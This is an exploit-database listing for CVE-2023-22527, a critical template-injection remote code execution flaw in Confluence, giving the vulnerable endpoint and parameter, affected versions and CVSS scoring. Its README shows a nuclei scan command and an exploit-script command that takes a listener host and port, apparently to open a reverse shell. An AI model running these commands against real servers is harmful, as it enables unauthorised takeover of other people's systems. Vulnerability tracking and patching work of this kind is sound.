Exploit for CVE-2023-22527

kitploit · 2026-09-02

Description

Remote code execution in Confluence Data Center and Confluence Server.

Entry point

Parameterlabel · request body

Pathtemplate/aui/text-inline.vm

Template injection leading to remote code execution via Confluence template endpoint.

Affected Atlassian Confluence Data Center versions

Atlassian Confluence Data Center< 8.5.4, 8.7.0

All known vulnerabilities by product

CVSS 10.0 for CVE-2023-22527

10.0

HIGH SEVERITY

Version 3.0

VectorCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:CHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

CVE Information

Exploit Details

Modified:2026-09-02 21:16

Last Seen:2026-09-03 02:08

Reporter:KitPloit

Tags

Confluence Data CenterConfluence ServerRemote Code ExecutionPoCNuclei Template

Other exploits for CVE-2023-22527

2026-09-03 KitPloitKITPLOIT

CVE-2023-22527_Confluence_RCE

2026-09-03 KitPloitKITPLOIT

CVE-2023-22527_Confluence_RCE

2026-09-03 KitPloitKITPLOIT

patch-diff-CVE-2023-22527

2026-09-03 KitPloitKITPLOIT

CVE-2023-22527-POC

2026-09-03 KitPloitKITPLOIT

2026-09-03 KitPloitKITPLOIT

2026-09-03 KitPloitKITPLOIT

2026-09-03 KitPloitKITPLOIT

Exploit Code

MARKDOWN16 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THANHLAM-ATTT-CVE-2023-22527
# CVE-2023-22527 - Уязвимость RCE (удаленное выполнение кода) в Confluence Data Center и Confluence Server

# PoC

## Обнаружение

`nuclei -v -t /path/to/template.yam; -u http://ip:port/`

![snapedit_1706203984065](https://assets.kitploit.com/production/public/readmes/33385/c706d828608e6f6827f0f94be0d0896e2a7ab25cdb8cccbdf96241608af74cee.jpg)

## Эксплуатация

`python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port`

![snapedit_1706204311967](https://assets.kitploit.com/production/public/readmes/33385/0e6cec0640da2196720e5bd4523ac090b0e3247d73973a57e1c0bd69a724ad1a.png)